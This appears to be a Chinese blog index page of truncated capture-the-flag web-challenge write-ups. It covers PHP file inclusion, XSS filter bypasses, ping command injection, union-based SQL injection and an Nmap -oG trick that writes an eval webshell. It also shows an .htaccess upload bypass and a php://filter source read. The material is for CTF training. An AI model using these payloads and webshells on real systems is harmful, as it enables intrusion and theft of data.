文件包含 Writeup
12345678910111213if (isset($_GET['file'])) { // 检查file参数值中是否包含"flag"字符串 if (!strpos($_GET["file"], "flag")) { // 如果不包含"flag",就包含该文件 include $_GET["file"]; } else { // 如果包含"flag",则输出警告信息 echo "Hacker!!!"; }} else { // 如果没有传递file参数,就显示当前文件的源代码 highlight_file(__FILE__);} 分析代码,要求参数中不能有flag字样,考虑绕过。但是,shell.txt文件中出现一句话木马,<?php eval...
XSS Writeup
XSS大闯关(level_1—20) level_1根据源码,没有过滤,直接调用windows.alert()这个函数。 leve_2先输入<script>windows.alert()</script>发现对<script>过滤,所以输入<img onerror>window.alert()</img onerror>,没成功,说明过滤的是<> 所以输入"onclick="window.alert() onclick原理:1.onclick 是 HTML 的事件处理器,用于在元素被点击时执行 JavaScript 代码。在 XSS 场景中: 只要能让事件触发(如用户点击元素),代码就会执行。 很多 CTF 题目只要求证明 XSS 存在(即弹出alert),因此通过点击触发即可完成解题。 2.题目可能对 <script> 等明显的 XSS 标签进行过滤,但对事件属性(onclick、onmouseover等)过滤较弱: 相比 <script>alert()...
RCE Writeup
根据代码中ping可知,这题应该用ping命令攻击者注入:127.0.0.1; ls /(127.0.0.1为本地ip),本题用&链接ls命令,得到一个PHP文件 试着用cat命令打开php文件,但是打不开,考虑应该是文件中包含特殊字符,使用管道运行base64加密内容,所以用127.0.0.1 & cat 1374098296700.php | base64,得到一串编码 用base64解码得到flag 补充:linux中命令的链接符号1.每个命令之间用;隔开说明:各命令的执行给果,不会影响其它命令的执行。换句话说,各个命令都会执行,但不保证每个命令都执行成功。 2.每个命令之间用&&隔开说明:若前面的命令执行成功,才会去执行后面的命令。这样可以保证所有的命令执行完毕后,执行过程都是成功的。 3.每个命令之间用||隔开说明:||是或的意思,只有前面的命令执行失败后才去执行下一条命令,直到执行成功一条命令为止。 4.| 是管道符号。管道符号改变标准输入的源或者是标准输出的目的地。 5.& 是后台任务符号。 后台任务符号使she...
SQL 注入 Writeup
方法一:用hackbar: 判断注入点:输入 1 and 1=1,页面正常显示;输入 1 and 1=2,页面报错,初步判断存在整数型注入。 判断字段数:通过 1 order by 1、1 order by 2 等尝试,发现 1 order by 3 时报错,确定字段数为 2。 判断回显位:输入 -1 union select 1,2,观察页面回显,确定回显位置。 获取数据库名:输入 -1 union select 1,database(),得到数据库名,如 sqli。 获取表名:输入 -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli',得到表名,如 news 和 flag。 获取字段名:针对 flag 表,输入 -1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag...
BUU Writeup 汇总
此项目用来记录buuoj上的一些web题解,目录分类来源:https://github.com/Aaisui/BUUWEB 目前截止于截止于2021年10月30日,本人是web狗,所以就只截取了web方向的题目,带有强烈的主观意识判断,只是为了方便学弟学习使用,其他师傅们仅供参考即可。 以主要考点为主来统计。重申一下,根据笔者是根据自己的水平进行归纳的(笔者也就是个普通的大三学生),所以带有很强烈的主观印象,仅供参考 简单 当前中大型赛事中基本不会出现,一般是新生赛的题目,作为初学者学习的题目 签到 当前中大型赛事中作为签到出现,考点可能不会那么露骨,但是一般比赛中很多人都能做出来 中等 中大型赛事作为中等题目出现,一般会有20-30队伍解出 困难 作为困难题目出现,一般比赛中可能几个解甚至0解 脑洞 带有强烈主观印象!!!师傅们看看就好。 笔者没有做过题目且没有找到WP的题目在最下面 代码审计:简单 [HCTF 2018] WarmUp 难度:简单 知识点:初步的代码审计和文件包含 [BJDCTF2020]Mark loves cat 简单的代码审计,变量覆...
BUU 2025.12 Writeup
[HCTF 2018] WarmUp考点:PHP代码审计,文件包含 wp: 根据源码,访问source.php 12345678910111213141516171819202122232425262728293031323334<?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; retur...
BUU 2025.11 Writeup
题目类型:利用Nmap参数源码提示,flag在flag里 试试127.0.0.1|cat${IFS}/flag, 被过滤 🔴利用Nmap参数 -oN 标准保存-oX XML保存-oG Grep保存-oA 保存到所有格式 1.利用Nmap参数-oG -oN/-oX/-oG:将扫描结果输出到文件,支持多种格式,如正常、XML 和 grepable 格式。 构造payload:127.0.0.1 | ' <?=@eval($_POST["cmd"]);?> -oG shell.phtml ' 讲一句话木马写到shell.phtml文件里(使用phtml后缀是因为php等后缀被过滤了)   2.利用nmap 的-iL参数读取flag到一个文件中,escapes...
BUU 2025.10 Writeup
题目类型:图片马命令执行+.htaccess配置文件构造PHP后门随便上传图片马,都提示上传失败,猜测是过滤了一些字符,在前面的[MRCTF2020]你传你🐎呢中有提到一些方法,我们先试着上传一个.htaccess文件 123<FilesMatch "1.jpeg">SetHandler application/x-httpd-php</FilesMatch> 点击上传时用burp抓包,修改Content-Type为: image/jpeg上传成功 再继续上传图片马 1<script language="php">echo file_get_contents("/flag");</script>  访问图片地址,得到flag 。 需要base64输出/?file=php://filter/read=convert.base64-encode/resource=/flag.php(注意:在第一个页面放payload) 4.php代码审计f12,提示source.php,访问,得php代码 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849<?php highlight_file(__FILE__); class emmm { public static function che...